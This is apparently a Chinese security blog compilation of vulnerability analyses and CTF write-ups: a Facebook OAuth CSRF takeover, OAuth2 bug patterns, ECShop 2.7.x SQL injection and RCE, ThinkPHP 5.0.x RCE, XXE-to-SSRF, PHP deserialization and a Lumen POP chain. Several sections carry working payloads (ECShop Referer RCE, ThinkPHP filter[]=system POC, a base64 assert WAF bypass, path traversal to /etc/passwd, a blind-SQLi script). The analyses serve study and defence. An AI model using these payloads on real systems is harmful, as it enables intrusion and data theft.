对“绕过Facebook Token进行CSRF账号接管”的文章解读

浅谈绕过Facebook Token进行CSRF账号接管

今天早上看到Sam大佬推特发了这篇文章,下午就见到先知上有译文了。为什么有译文了还要写这篇文章呢?安全圈的译文你懂的,大部分右键一把梭。

从文章本身来说,还是有比较值得学习的地方,所以摘出来流程分析一下。

原文:https://ysamm.com/?p=185

先知译文: https://xz.aliyun.com/t/4089#toc-5

漏洞关键条件

攻击者有一个oauth认证接口,即漏洞网站可以授权自己的网站

漏洞流程

第二步,即location的Url如下

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

next参数为下一步跳转参数,即邮箱绑定后跳转到/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]获取token再redirect到attacker web

总结/修复思考

漏洞新颖的点就在授权后的跳转,这也算是一种突破oauth的新思路。利用信任站点的重定向进行其它oauth的绑定,再携带token二次重定向到attacker web。

如果能再二次重定向的地方加一个权限验证,即attacker app与oauth匹配,会不会避免这样的越权呢?

其次就是,如果我们省略三方授权,直接诱导用户点击第二步的location,不就更省事了么?这点我邮寄了sam师傅,希望日后有其它研究的师傅可以指点一下~

Oauth2的两类漏洞挖掘

Oauth2的两类漏洞挖掘

一直忘了总结这个,结合OPPX的网站(无漏洞站点)说明一下

redict_uri限制不严格(Oauth配置错误)

逻辑

一般登陆选项是这样,常见的是QQ/微信/微博/…授权登陆

点击QQ授权的时候请求包和返回包如下

request:

POST /oauth2.0/authorize HTTP/1.1
Host: graph.qq.com
response_type=code&client_id=100498628&redirect_uri=https%3A%2F%2Fmy.oppo.com%2Fauth%2Fqqcallback&scope=get_user_info%2Cadd_share%2Clist_album%2Cadd_album%2Cupload_pic%2Cadd_topic%2Cadd_one_blog%2Cadd_weibo%2Ccheck_page_fans%2Cadd_t%2Cadd_pic_t%2Cdel_t%2Cget_repost_list%2Cget_info%2Cget_other_info%2Cget_fanslist%2Cget_idolist%2Cadd_idol%2Cdel_idol%2Cget_tenpay_addr&state=49085978f5e969063165246c6d07e062&switch=&from_ptlogin=1&src=1&update_auth=1&openapi=80901010&g_tk=1156350624&auth_time=1550070856795&ui=97557FF6-0331-4598-BC09-6CD21B7106E0

response:

HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Wed, 13 Feb 2019 15:17:13 GMT
Content-Type: text/html
Content-Length: 0
Connection: close
Location: https://my.oppo.com/auth/qqcallback?code=5E0AA09C0CA8179C186688ABAF4BE043&state=49085978f5e969063165246c6d07e062

流程:请求graph.qq.com获得授权,拿到auth code后拼接到redirect_uri再请求,这点可以在返回包中的Location看到。

漏洞思路就是redict_uri限制不到位,严重的情况是没有限制域,一般情况是redict_uri可以到子域。QQ做了限制,拿cline_id和redirec_uri比对,不相符就返回False,如下

案例-第三方帐号快捷登录授权劫持漏洞

修改redirect_uri到子域(一般是论坛站点,可以加载外域图片的地方,或者是可以XSS的地方)。location跳转到子域后访问我们外域地址,referer就携带了code。

相关链接

KEY:https://gh0st.cn/archives/2018-02-12/1

无state导致CSRF产生的账户接管

用户在第三方网站A上登录后,通过Authorization code方式的绑定流程。

案例

拿绑定QQ为例子。

一般在登陆后的个人中心页面有绑定社交用户的功能,依然是请求greph.qq.com获取code,拼接到redirect_uri访问后完成绑定。如果没有state参数,用户在A登陆后进行,点击攻击者的redict_uri+code链接,就把用户A绑定在了攻击者的QQ上。可以看作是CSRF

相关链接

OAuth2.0忽略state参数引发的CSRF漏洞:https://blog.csdn.net/gjb724332682/article/details/54428808

Oauth配置错误导致的账户接管:https://mp.weixin.qq.com/s/6lc6CHVjdXU1Zy4wWRIHzg

Echsop2.7.x几处漏洞分析

Echsop2.7.x几处漏洞分析

前言

这些洞是在半年前公布的细节,当时没来得及关注。最近在给自己定目标,决定重新刷一遍这些洞。

SQL注入

由于未对Reffer内容进行过滤而造成的SQL注入

漏洞位置user.php:302

elseif ($action == 'login')
{
    if (empty($back_act))
    {
        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
        {
            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
        }
        else
        {
            $back_act = 'user.php';
        }

    }

    $smarty->assign('back_act', $back_act);
    $smarty->display('user_passport.dwt');
}

$back_act可控为Reffer值,跟进assign

/**
 * 注册变量
 *
 * @access  public
 * @param   mix      $tpl_var
 * @param   mix      $value
 *
 * @return  void
 */
function assign($tpl_var, $value = '')
{
    if (is_array($tpl_var))
    {
        foreach ($tpl_var AS $key => $val)
        {
            if ($key != '')
            {
                $this->_var[$key] = $val;
            }
        }
    }
    else
    {
        if ($tpl_var != '')
        {
            $this->_var[$tpl_var] = $value;
        }
    }
}

assign()注册了模板变量$this->_var[‘back_act’],这里注册的变量在后面的页面模板编译中会用到

继续跟进user的display函数

/**
 * 显示页面函数
 *
 * @access  public
 * @param   string      $filename
 * @param   sting      $cache_id
 *
 * @return  void
 */
function display($filename, $cache_id = '')
{
    error_reporting(E_ALL ^ E_NOTICE);

    $out = $this->fetch($filename, $cache_id);

    if (strpos($out, $this->_echash) !== false)
    {
        $k = explode($this->_echash, $out);
        foreach ($k AS $key => $val)
        {
            if (($key % 2) == 1)
            {
                $k[$key] = $this->insert_mod($val);
            }
        }
        $out = implode('', $k);
    }

    echo $out;
}

Display中调用fetch函数处理模板文件:user_passport.dwt,跟进关键代码

/**
 * 处理模板文件
 *
 * @access  public
 * @param   string      $filename
 * @param   sting      $cache_id
 *
 * @return  sring
 */
function fetch($filename, $cache_id = '')
{
    ...
    $out = $this->make_compiled($filename);
    ...
    return $out; // 返回html数据
}

$filename就是user_passport.dwt,关键内容如下

<tr>
<td colspan="2" align="center"><input type="hidden" name="act" value="act_login" />
  <input type="hidden" name="back_act" value="{$back_act}" />
  <input type="submit" name="submit" value="{$lang.confirm_login}" /></td>
</tr>

通过make_compiled函数编译模板文件,编译时会把之前注册的模板变量渲染到{$back_act}。$out即为渲染后的html代码块

继续跟进流程,回到display。$out内容被分割为两部分,分割依据是$this->_echash,而$this->_echash参数值固定

$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
    if (($key % 2) == 1)
    {
        $k[$key] = $this->insert_mod($val);
    }
}

跟进insert_mod

function insert_mod($name) // 处理动态内容
{
    list($fun, $para) = explode('|', $name);
    $para = unserialize($para);
    $fun = 'insert_' . $fun;

    return $fun($para);
}

继续对$out内容以“|”形式分割成$fun、$para,|后的内容进行反序列化,再动态调用$fun函数。至此,函数名$fun可控,函数内容$para可控,找一个以Insert_开头的可利用的函数

function insert_ads($arr)
{
    static $static_res = NULL;

    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1)
    {
        $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
                    "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = $GLOBALS['db']->GetAll($sql);
    }

触发SQL注入,构造的PAYLOAD形式:

echash+ads|serialize(array("num"=>sqlpayload,"id"=>1))

创宇提供的一个payload示例如下:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

采用limit注入,利用procedure analyse函数。具体见P师傅文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

RCE分析

RCE利用点还是insert_ads函数,参数的处理流程很大一部分是上文SQL注入的流程,这里分析3.x版本的RCE

继续跟进ads函数,重点部分代码如下:

function insert_ads($arr)
{
    foreach ($res AS $row)
    {
        if ($row['position_id'] != $arr['id'])
        {
            continue;
        }
        $position_style = $row['position_style'];
        ...
    }

    $position_style = 'str:' . $position_style;
    $GLOBALS['smarty']->assign('ads', $ads);
    $val = $GLOBALS['smarty']->fetch($position_style);
}

$res为查询结果,即$row[‘position_id’]可用SQL注入的Union select控制,$arr[‘id’]也可控,当两者相等时$position_style的值就可控为$row[‘position_style’]。接着又调用assgin注册变量、fetch编译模板。再看fetch函数

/**
     * 处理模板文件
     *
     * @access  public
     * @param   string      $filename
     * @param   sting      $cache_id
     *
     * @return  sring
     */
function fetch($filename, $cache_id = '')
{
    if (strncmp($filename,'str:', 4) == 0)
    {
        $out = $this->_eval($this->fetch_str(substr($filename, 4)));
    }
    else
    {
         ......

由于字符串前被拼接了str:,所以进入$this->_eval函数处理,这也是最终的漏洞触发点,可以eval我们构造的恶意语句。

但是再_eval之前经过fetch_str处理字符串,跟进

    /**
     * 处理字符串函数
     *
     * @access  public
     * @param   string     $source
     *
     * @return  sring
     */
    function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }
         return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    }

第一个正则会匹配危险的字符串函数,重点在最后一个正则。\\1是替代表达,匹配到的字符串会替代\\1的位置。

eg:return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", "xxx{abc}xxx");结果就是return $this->select('{abc}')

跟进select函数

/**
 * 处理{}标签
 *
 * @access  public
 * @param   string      $tag
 *
 * @return  sring
 */
function select($tag)
{
    $tag = stripslashes(trim($tag));

    if (empty($tag))
    {
        return '{}';
    }
    elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
    {
        return '';
    }
    elseif ($tag{0} == '$') // 变量
    {
//            if(strpos($tag,"'") || strpos($tag,"]"))
//            {
//                 return '';
//            }
        return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
    }
    ......

trim处理了字符串两边的{},最后返回一段php标签下的字符串,如果成功返回,则之前的eval就可以执行这段php字符串。不过这个值的获取取决于get_val,跟进get_val

/**
 * 处理smarty标签中的变量标签
 *
 * @access  public
 * @param   string     $val
 *
 * @return  bool
 */
function get_val($val)
{
    if (strrpos($val, '[') !== false)
    {
        $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
    }

    if (strrpos($val, '|') !== false)
    {
        $moddb = explode('|', $val);
        $val = array_shift($moddb);
    }

    if (empty($val))
    {
        return '';
    }

    if (strpos($val, '.$') !== false)
    {
        $all = explode('.$', $val);

        foreach ($all AS $key => $val)
        {
            $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
        }
        $p = implode('', $all);
    }
    else
    {
        $p = $this->make_var($val);
    }

若$val不存在.$则进入make_var()

/**
 * 处理去掉$的字符串
 *
 * @access  public
 * @param   string     $val
 *
 * @return  bool
 */
function make_var($val)
{
    if (strrpos($val, '.') === false)
    {
        if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
        {
            $val = $this->_patchstack[$val];
        }
        $p = '$this->_var[\'' . $val . '\']';
    }
    else
    {
       .....

这个make_var的$val可控,则表明返回的$p可控,最终返回的$this->get_val()就可控,也就是$this->_eval的实参可控(一段PHP标签下的字符串),从而getshell。

构造Payload我用逆推的思路,逐步满足每个函数判断的条件

最终的POC要结合SQL注入,通过id和num参数将order by注释

再利用union select构造指定列的值:第二列postion_id,第七列position_style

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

id的值就是' /*,num的值*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -,0x27202f2a是' /*的16进制值,也就是第二列$row['position_id']的值。0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d{$'];phpinfo/**/();//}的16进制值

漏洞修复

看到ecshop4/ecshop/includes/lib_insert.php

对id和num进行强制类型转换了,字符串无法利用

题外话

创宇WAF拦截的Payload是这样

{$abc'];assert(base64_decode('YXNzZXJ0KCRfR0VUWyd4J10pOw=='));//}

巧妙解决了$_GET[]的[]问题,测试用法

参考链接

https://paper.seebug.org/695/#_5

FireShellCTF2019 Bad Injections解题记录

FireShellCTF2019 Bad Injections解题记录

原文投稿安全客:https://www.anquanke.com/post/id/170381

题目名称:Bad Injections

题目地址:http://68.183.31.62:94

貌似现在还没有关环境,这是整场比赛最简单的Web题…Web题质量很高,表哥们可以趁环境在去爽一下

主页面有四个功能,纯静态页面。右键about页面源码信息:

给个本地web目录

接着在list页面的源码里发现信息:

因为页面显示图片,url没有其他参数,猜测应该是readfile之类的函数读的文件。File+hash的方法,既然是ctf,那hash应该不会加key。下载一个文件试一下能不能成功

68.183.31.62:94/download?file=files/../../../../../etc/passwd&hash=ab56ade6fe16a65bce82a7cd833f13cc

这里让hash = md5(file),成功下载到了/etc/passwd

尝试去读/flag发现文件不存在,去读.bash_history也不存在..捷径失败…

看到之前list下载的test.txt内容是这样的

down一下download的源码,顺便fuzz一下Controllers的文件

68.183.31.62:94/download?file=files/../../app/Controllers/Download.php&hash=f350edcfda52eb0127c4410633efd260

字典只跑出来了个admin.php

看了源码感觉存在一个XXE或者是create_function的代码注入,因为找不到/flag所以利用XXE没什么卵用,应该就是代码注入点,但是要加载外部文本来引入正确xml文本才能进入函数判断。

尝试请求admin?url=xxx&order=xx死活获取不到页面,应该是路由没找对。在这卡了一会,请教腹黑师傅,才想起来去读入口文件。

68.183.31.62:94/download?file=files/../../app/Index.php&hash=1dfd7acd700544ea7d26b8368935c4e8

/app/index.php

<?php
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}

再去读路由/app/Routes.php,看看是个什么狗屁规则

<?php

Route::set('index.php',function(){
  Index::createView('Index');
});

Route::set('index',function(){
  Index::createView('Index');
});

Route::set('about-us',function(){
  AboutUs::createView('AboutUs');
});

Route::set('contact-us',function(){
  ContactUs::createView('ContactUs');
});

Route::set('list',function(){
  ContactUs::createView('Lista');
});

Route::set('verify',function(){   
  if(!isset($_GET['file']) && !isset($_GET['hash'])){
    Verify::createView('Verify');
  }else{
    Verify::verifyFile($_GET['file'],$_GET['hash']);  //设置session,file和hash对应请求文件
  }
});


Route::set('download',function(){
  if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){
    echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
  }else{
    echo 'jdas';
  }
});

Route::set('verify/download',function(){
  Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
});


Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler); // xml
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

Route::set('custom/sort',function(){
  Custom::sort($_REQUEST['rss'],$_REQUEST['order']);
});
Route::set('index',function(){
 Index::createView('Index');
});

原来我只下载了download和admin页面,还有其它功能页面没下载到,看到了玄学的admin规则如下,原来只有本地才能请求到sort函数

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

找一下其他利用,再看Custom

Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler); 
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Custom::Test

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }
}

$data内容可控为php://input,Test函数再将$data作为xml文本解析,那么存在XXE的问题,验证了一下可以利用

联想到刚才admin页面只有本地才能请求,那就用Custom的XXE当跳板好了,测试一下是否能当跳板

poc:

<?xml version='1.0'?> 
<!DOCTYPE name [<!ENTITY  file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fyour_vps%2Fxxe.txt&order=1">]>
<note>
<name>&file;</name>
</note>


admin页面确实file_get_contents到了我vps的xxe文本。

尝试去构造正确的xml文本到执行到usort函数进行注入,warning不影响代码执行

http://vps/xxe.txt

<?xml version="1.0" encoding="utf-8"?>
<root>
<channel>
<item>
<link>@hpdoger.me</link>
</item>
<item>
<link>@souhu.com</link>
</item>
</channel>
</root>

POC

<?xml version='1.0'?> 
<!DOCTYPE name [<!ENTITY  file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fvps%2Fxxe.txt&order=id%29%3B%7Decho%28file_get_contents%28%27..%2F..%2F..%2Fda0f72d5d79169971b62a479c34198e7%27%29%29%3B%2F%2F">]>
<note>
<name>&file;</name>
</note>

安恒杯月赛19新年场WriteUp

安恒杯月赛19新年场WriteUp

Web

WEB1

题目代码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

考点

考点一:echo可以调用toString()函数用来返回flag.php内容

考点二:让$this->nice是一个非baby的类,就能绕过$str

考点三:unserialize()不会执行construct,外部不可控protected变量skyobj,但是序列化时可以放到construct内部控制

EXP

class baby 
{   
    protected $skyobj;  
    function __construct() 
    {      
    $this->skyobj = new cool;
    $this->skyobj->amzing = serialize(new sec);
    $this->skyobj->filename = "flag.php";
    }  

}

class sec 
{
    function read(){}
}

class cool 
{ 
    public $filename;     
    public $nice;
    public $amzing; 
}


$test = new baby();
echo urlencode(serialize($test));

WEB2

约束攻击登陆admin

登陆后盲注

EXP

#!/usr/bin/env python
# encoding: utf-8

import requests
import time


def login(payload):
    url = "http://106.12.21.77/Admin/User/Index?search[table]=flag/**/where/**/1/**/and/**/%s" % (payload)
    # print "[+] %s" % (url)
    before_time = time.time()
    cookies = {'PHPSESSID': '3kus5jrhoqav8te0kf74hglii7'}
    response = requests.get(url, cookies=cookies)
    # content = response.content
    after_time = time.time()
    offset = after_time - before_time
    # print "[*] Offset : %f" % (offset)
    if offset > 2.5:
        return True
    else:
        return False

def main():
    data = ""
    charaters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    for i in range(1, 40, 1):
        for j in charaters:
            payload = "if((mid((select/**/flag/**/from/**/flag),%d,1))='%s',sleep(3),0)%%23" % (i, j)
            if login(payload):
                data += str(j)
                print "[+] Found : %s" % (data)
                break


if __name__ == "__main__":
    main()

MISC

隐写

binwalk -e zhu.jpg

Stegsolve

MISC2

内存取证

volatility一把梭

volatility imageinfo -f memory #分析操作系统
volatility hashdump -f memory --profile=WinXPSP2x86 #查看当前操作系统中的 password hash

得到管理员hash如下:

Administrator:500:0182bd0bd4444bf867cd839bf040d93b:c22b315c040ae6e0efee3518d830362b:::

所以c22b315c040ae6e0efee3518d830362b即为管理员密码的md5值,解出来是123456789,再md5一下就行。

相关链接

内存取证工具 volatility 使用说明:https://www.restran.net/2017/08/10/memory-forensics-tool-volatility/

CRYPTO

键盘密码

ypau -> flag

ThinkPHP5.0.0~5.0.23RCE漏洞分析

ThinkPHP5.0.0~5.0.23RCE漏洞分析

最近TP5一直在爆洞,既然浪潮在,就有必要跟进分析一下。但是由于自己对TP5框架流程不是很了解,所以有了这篇边摸索边分析的文章。

TP5框架流程

应用启动在App.php的run()函数,说一下自己对这个框架的大致理解

用户请求 -> 路由解析 -> 调度请求 -> 执行操作 -> 响应输出

App.php代码部分流程如下: (自己的理解,可能有不对的地方,望斧正
1、应用初始化initModule()
2、run()->routeCheck()对用户的get请求进行路由检测
3、若注册了路由则返回相应的调度值,若路由检测无效(即没有注册路由)则返回调度值为module
4、根据调度值,处理不同请求

switch (self::$dispatch['type']) {
    case 'redirect':
        header('Location: ' . self::$dispatch['url'], true, self::$dispatch['status']);
        break;

    case 'module':
       $data = self::module(self::$dispatch['module'], $config);
        break;

    case 'controller':
        $data = Loader::action(self::$dispatch['controller'], self::$dispatch['params']);
        break;

    case 'method':
        $data = self::invokeMethod(self::$dispatch['method'], self::$dispatch['params']);
        break;

    case 'function':
        $data = self::invokeFunction(self::$dispatch['function'], self::$dispatch['params']);
        break;

    default:
        throw new Exception('dispatch type not support', 10008);
}

5、执行处理,返回输出。

TP5中get的路由请求参数为s。若get请求时s参数不存在,则调度类型默认值为module,调度方法实现self::module(),即进入MVC的处理方式:Controller层调用Module处理数据返回给View到用户。

所以核心操作就是调度请求。

回到正题

这个漏洞的产生是因为对_method参数过滤不严导致$filter变量覆盖

POC

http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

分析

App.php部分代码:

<?php
/**
* 执行应用程序
* @access public
* @param  Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
    $request = is_null($request) ? Request::instance() : $request;

    try {
        ...
        // 获取应用调度信息
        $dispatch = self::$dispatch;

        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {
            $dispatch = self::routeCheck($request, $config);
        }
        ...

        $data = self::exec($dispatch, $config);
    } catch (HttpResponseException $exception) {
        ...
    }
    ...
}

看到$dispatch = self::routeCheck($request, $config),$request是http请求对象,通过调用Request类中的method方法来获取当前的http请求类型,该函数的实现在thinkphp/library/think/Request.php:512

<?php
/**
    * 当前的请求类型
    * @access public
    * @param bool $method  true 获取原始请求类型
    * @return string
    */
public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

var_method的伪装变量值为_method

因此通过POST一个_method参数,即可进入判断,并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组。在poc里看到传入的method为construct,代码如下

<?php
protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

利用foreach循环,和POST传入数组即可对Request对象的成员属性进行覆盖。经过覆盖后的结果

这里也就解释了poc中为什么要传入method=get。为了使$this->method=get才能对应上面Request.php的method()方法返回值,否则程序报错

request对象差不多清楚了,跟进self::routeCheck()

<?php
/**
 * URL路由检测(根据PATH_INFO)
 * @access public
 * @param  \think\Request $request 请求实例
 * @param  array          $config  配置信息
 * @return array
 * @throws \think\Exception
 */
public static function routeCheck($request, array $config)
{
    $path   = $request->path();  //path=captcha
    $depr   = $config['pathinfo_depr'];
    $result = false;

    // 路由检测(根据路由定义返回不同的URL调度)
    $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

    return $result;

根据$request的get请求进行路由检测,在vendor/topthink/think-captcha/src/helper.php中captcha注册了路由,因此其对应的URL调度值为method

再返回App.php继续执行$data = self::exec($dispatch, $config);

<?php
protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        ...
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        ...
    }
    return $data;
}

介绍的,根据调度值的不同处理不同请求,此时我们的dispatch为method。继续跟进Request::instance()->param()

<?php
public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->mergeParam)) {
        $method = $this->method(true);
        ...
    }
    ...
    // 当前请求参数和URL地址中的参数合并
    $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    $this->mergeParam = true;
    ...
    return $this->input($this->param, $name, $default, $filter);
}

array_merge用来合并参数,此时$this->param为一个数组,且第一个值为我们刚才覆盖的get值

继续跟进$this->input($this->param, $name, $default, $filter)

<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
    ...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    }
    ...
}

跟进getFilter

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;
    return $filter;
}

到这逻辑就很清楚了,在input函数里面获得$filter值为我们之前覆盖的$this->filter,$data是实参传入的$this->param数组,接着调用 array_walk_recursive()进行自定义函数处理,函数名为filterValue()

从而调用call_user_func进行RCE

官方补丁

看一下diff

触发漏洞点就是method可控,进而调用任意函数。补丁对参数method进行了白名单

参考链接

  1. https://xz.aliyun.com/t/3845#toc-1
  2. https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
  3. https://www.kancloud.cn/zmwtp/tp5/119426
  4. https://www.kancloud.cn/zmwtp/tp5/119428

Code-breaking-medium之lumenserial

Code-breaking-medium之lumenserial

一道pop链很深的题,复现了一天,到目前已经有九个人做了。太菜了,只能照着柠檬和kk师傅的wp来学习思路。通过这次的复现,感受到耐心对审计的importance。记录一下在学习wp过程中得到的他见与己见。

题目地址:https://code-breaking.com/puzzle/7/

前期

一个ueditor的页面

在App\Http\Controllers的EditorController.php里提供了远程下载功能

private function download($url)
{
    $content = file_get_contents($url);

url可控为以GET形式传入的source值,由于禁止了以下函数,所以只能利用Phar反序列化再打通pop链

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

Searching POP chain

因为phar反序列化不会反序列化类中的具体函数,所以要找两个魔法方法入口:__destruct|__wakeup这点在柠檬师傅的博客园看到的,也算是经验之谈了。

首先在namespace Illuminate\Broadcasting里找到PendingBroadcast类存在destruct

class PendingBroadcast
{   
public function __construct(Dispatcher $events, $event)
{
    $this->event = $event;
    $this->events = $events;
}
public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

Dispatcher是一个接口,所以这里$event、$events应该都是一个继承于这个接口的obj。但是看了下,一共就只有两个类继承于Dispatcher(BusFake、EventFake),且都无法利用。所以转向去寻找存在__call方法的类,看是否可以利用。

为什么要找存在_call方法的类的?根据PHP文档,当一个类里没有定义的方法时,在执行这个不存在方法时,它就会自动调用该类里的__call方法来实现方法重载。

所以要找一个有_call方法的类–>类ValidGenerator。

ValidGenerator

public function __call($name, $arguments)
{
    $i = 0;
    do {
        $res = call_user_func_array(array($this->generator, $name), $arguments);
        $i++;
